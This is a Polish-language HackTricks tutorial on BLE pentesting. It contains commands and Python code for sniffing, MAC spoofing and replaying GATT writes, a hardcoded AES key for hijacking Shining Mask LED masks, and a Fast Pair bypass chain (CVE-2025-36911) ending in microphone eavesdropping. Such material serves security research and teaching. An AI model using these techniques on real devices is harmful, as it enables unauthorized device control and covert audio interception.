Pentesting BLE - Bluetooth Low Energy

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Wprowadzenie

Dostępny od specyfikacji Bluetooth 4.0, BLE używa tylko 40 kanałów, obejmujących pasmo 2400–2483.5 MHz. Dla porównania, tradycyjny Bluetooth używa 79 kanałów w tym samym zakresie.

Urządzenia BLE komunikują się poprzez wysyłanie advertising packets (beacons) — pakiety te rozgłaszają istnienie urządzenia BLE innym pobliskim urządzeniom. Te beacony czasami również wysyłają dane.

Urządzenie nasłuchujące, zwane także urządzeniem centralnym, może odpowiedzieć na advertising packet za pomocą SCAN request wysłanego bezpośrednio do urządzenia reklamującego się. Response na ten scan używa tej samej struktury co pakiet advertising, zawierając dodatkowe informacje, które nie zmieściły się w początkowym advertising request, np. pełną nazwę urządzenia.

Preambuła synchronizuje częstotliwość, natomiast czterobajtowy access address jest connection identifier, używanym w scenariuszach, gdy wiele urządzeń próbuje nawiązać połączenia na tych samych kanałach. Następnie Protocol Data Unit (PDU) zawiera advertising data. Istnieje kilka typów PDU; najczęściej używane to ADV_NONCONN_IND i ADV_IND. Urządzenia używają typu PDU ADV_NONCONN_IND, jeśli nie akceptują połączeń, transmitując dane tylko w pakiecie advertising. Urządzenia używają ADV_IND, jeśli pozwalają na połączenia i przestają wysyłać pakiety advertising po tym, jak połączenie zostanie nawiązane.

GATT

The Generic Attribute Profile (GATT) definiuje, jak urządzenie powinno formatować i przesyłać dane. Analizując powierzchnię ataku urządzenia BLE, często koncentrujesz się na GATT (lub GATTs), ponieważ to on określa, jak funkcjonalność urządzenia jest wywoływana oraz jak dane są przechowywane, grupowane i modyfikowane. GATT wypisuje charakterystyki, deskryptory i usługi urządzenia w tabeli jako wartości 16- lub 32-bitowe. Characteristic to wartość danych wysyłana między urządzeniem centralnym a peryferyjnym. Te charakterystyki mogą mieć descriptors, które dostarczają dodatkowych informacji o nich. Characteristics często są grupowane w services, jeśli są powiązane z wykonywaniem konkretnej akcji.

hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool pozwala na nawiązanie połączenia z innym urządzeniem, wypisanie charakterystyk tego urządzenia oraz odczyt i zapis jego atrybutów.
GATTTool może uruchomić interaktywną powłokę przy użyciu opcji -I:

Interaktywne użycie GATTTool i przykłady ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]

Write data

gatttool -i -b –char-write-req -n gatttool -b a4:cf:12:6c:b3:76 –char-write-req -a 0x002e -n $(echo -n “04dc54d9053b4307680a”|xxd -ps)

Read data

gatttool -i -b –char-read -a 0x16

Read connecting with an authenticated encrypted connection

gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c

</details>

### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing i aktywne kontrolowanie niesparowanych urządzeń BLE

Wiele tanich peryferiów BLE nie wymusza parowania/bondingu. Bez bondingu szyfrowanie na Link Layer nigdy nie jest włączane, więc ruch ATT/GATT jest w postaci jawnego tekstu. Off-path sniffer może śledzić połączenie, dekodować operacje GATT, poznać uchwyty i wartości charakterystyk, a każdy pobliski host może się wtedy połączyć i odtworzyć te zapisy, aby kontrolować urządzenie.

Sniffing z Sniffle (CC26x2/CC1352)

Sprzęt: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) z przeprogramowanym firmware’em Sniffle od NCC Group.

Zainstaluj Sniffle i jego Wireshark extcap na Linuxie:

Zainstaluj Sniffle extcap (Linux) ```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```

Wgraj na Sonoff oprogramowanie układowe Sniffle (upewnij się, że urządzenie szeregowe jest właściwe, np. /dev/ttyUSB0):

pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Przechwytuj w Wireshark za pomocą Sniffle extcap i szybko pivotuj do zapisów zmieniających stan, filtrując:

_ws.col.info contains "Sent Write Command"

To pokazuje ATT Write Commands wysyłane przez client; handle i value często bezpośrednio odpowiadają akcjom urządzenia (np. write 0x01 do buzzer/alert characteristic, 0x00 żeby zatrzymać).

Szybkie przykłady Sniffle CLI:

python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternatywny sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin również działa. Na małych/tanich Nordic dongles zwykle nadpisuje się USB bootloader, aby załadować sniffer firmware, więc albo zachowujesz dedykowany sniffer dongle, albo potrzebujesz J-Link/JTAG, aby później przywrócić bootloader.

Aktywne sterowanie przez GATT

Gdy z przechwyconego ruchu zidentyfikujesz writable characteristic handle i wartość, połącz się jako dowolny central i wykonaj ten sam write:

  • Za pomocą Nordic nRF Connect for Desktop (BLE app):

  • Wybierz nRF52/nRF52840 dongle, zeskanuj i połącz się z celem.

  • Przeglądaj bazę GATT, znajdź docelową characteristic (często ma przyjazną nazwę, np. Alert Level).

  • Wykonaj Write używając przechwyconych bajtów (np. 01 aby wywołać, 00 aby zatrzymać).

  • Zautomatyzuj na Windows za pomocą Nordic dongle używając Python + blatann:

Przykład Python blatann write (Windows + Nordic dongle) ```python import time import blatann

CONFIG

COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)

CONNECT

ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)

print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)

Example: write 0x01/0x00 to a known handle

for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)

print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()

</details>

### Analiza przypadku: przejęcie masek LED BLE (rodzina Shining Mask)

Tanie, white‑labelowe maski LED BLE sterowane aplikacją “Shining Mask” akceptują zapisy (write) z dowolnego pobliskiego central bez parowania/bondingu. Aplikacja komunikuje się przez GATT z charakterystyką poleceń i charakterystyką danych; polecenia są szyfrowane AES‑ECB za pomocą statycznego klucza zakodowanego w aplikacji, natomiast masowe dane obrazu nie są szyfrowane.

Kluczowe UUID na tych urządzeniach:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a

Nieautoryzowane zapisy GATT
- Parowanie/bonding nie jest wymagane. Każdy host może się połączyć i zapisać do UUID poleceń, by zmienić jasność, wybrać obrazy, uruchomić animacje itp.
- Często obserwowane operacje: LIGHT (jasność), IMAG (wybór indeksu), DELE (usuń indeksy), SPEED, ANIM, PLAY, CHEC (zapytanie o liczbę), DATS (rozpocznij przesyłanie).

Ramy poleceń AES ze statycznym kluczem
- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
- Known static key (hex): 32672f7974ad43451d9c6c894a0e8764

Python helper to encrypt and send a command (example: set max brightness):
```python
from Crypto.Cipher import AES
from binascii import unhexlify

KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')

def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)

packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600

Przepływ przesyłania obrazu

  • Po zaszyfrowanym DATS handshake, surowe fragmenty są zapisywane nieszyfrowane do data characteristic …960a.
  • Format pakietu: [len][seq][payload]. Empirycznie ~100 bytes payload na pakiet działa niezawodnie.
Minimalny pseudo-kod przesyłania obrazu ```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify char

Stream raw chunks (unencrypted) to …960a: [len][seq][payload]

seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1

Optionally signal completion if firmware expects it (e.g., DATCP)

</details>

### Fast Pair (0xFE2C) Key-Based Pairing signature bypass (WhisperPair/CVE-2025-36911)

- **Discovery:** Skanuj reklamy BLE w poszukiwaniu **service UUID 0xFE2C** (Google Fast Pair). Urządzenia w trybie parowania zwykle eksponują badge parowania; nawet poza trybem parowania usługa Fast Pair może odpowiadać przez GATT.
- **Non-invasive probe (signature enforcement check):**
1. GATT **connect** do usługi Fast Pair i **read the Model ID**.
2. **Write a Key-Based Pairing (KBP) value without a signature**. Jeśli peryferyjne urządzenie zaakceptuje niepodpisany zapis KBP, jest podatne na signature-bypass (WhisperPair/CVE-2025-36911). Odrzucenie wskazuje na załatanie; niejednoznaczne wyniki mogą wystąpić, jeśli już istnieje parowanie.
- **BLE → BR/EDR pivot:** Wyślij **KBP Request** i parsuj **zaszyfrowaną odpowiedź**, aby odzyskać docelowy **BR/EDR address**. Użyj klasycznego wywołania bonding (np. Android **`createBond(<BR/EDR address>)`**) aby dokończyć nieautoryzowane parowanie. Tam, gdzie obsługiwane, zapisanie **Account Key** utrwala powiązanie.
- **Post-bond microphone abuse:** Po sparowaniu otwórz **HFP** i rozpocznij **SCO audio**, aby uzyskać strumień mikrofonu na żywo do podsłuchu/nagrywania (np. zapis M4A). Ten łańcuch pozwala na zdalne przechwycenie audio bez zgody użytkownika, jeśli urządzenie akceptuje niepodpisany KBP.
- **Hunt/detect:** Szukaj ruchu Fast Pair GATT bezpośrednio poprzedzanego klasycznymi próbami bondingu do BR/EDR address zwróconego w KBP oraz zapisów KBP bez podpisu. Wymuszanie weryfikacji podpisu na KBP i żądanie potwierdzenia parowania przez użytkownika przerywa ten łańcuch.

## Uwagi operacyjne

- Preferuj Sonoff+Sniffle na Linux dla solidnego channel hopping i follow-up connections. Miej zapasowy Nordic sniffer jako backup.
- Bez parowania/bondingu każdy pobliski atakujący może obserwować zapisy i replay/wyprodukować własne do niezautoryzowanych writable characteristics.

## References

- [WPair — CVE-2025-36911 (WhisperPair) vulnerability scanner & research tool](https://github.com/zalexdev/wpair-app)
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)

> [!TIP]
> Ucz się i ćwicz Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się i ćwicz Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Ucz się i ćwicz Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Wsparcie dla HackTricks</summary>
>
> - Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
>
> </details>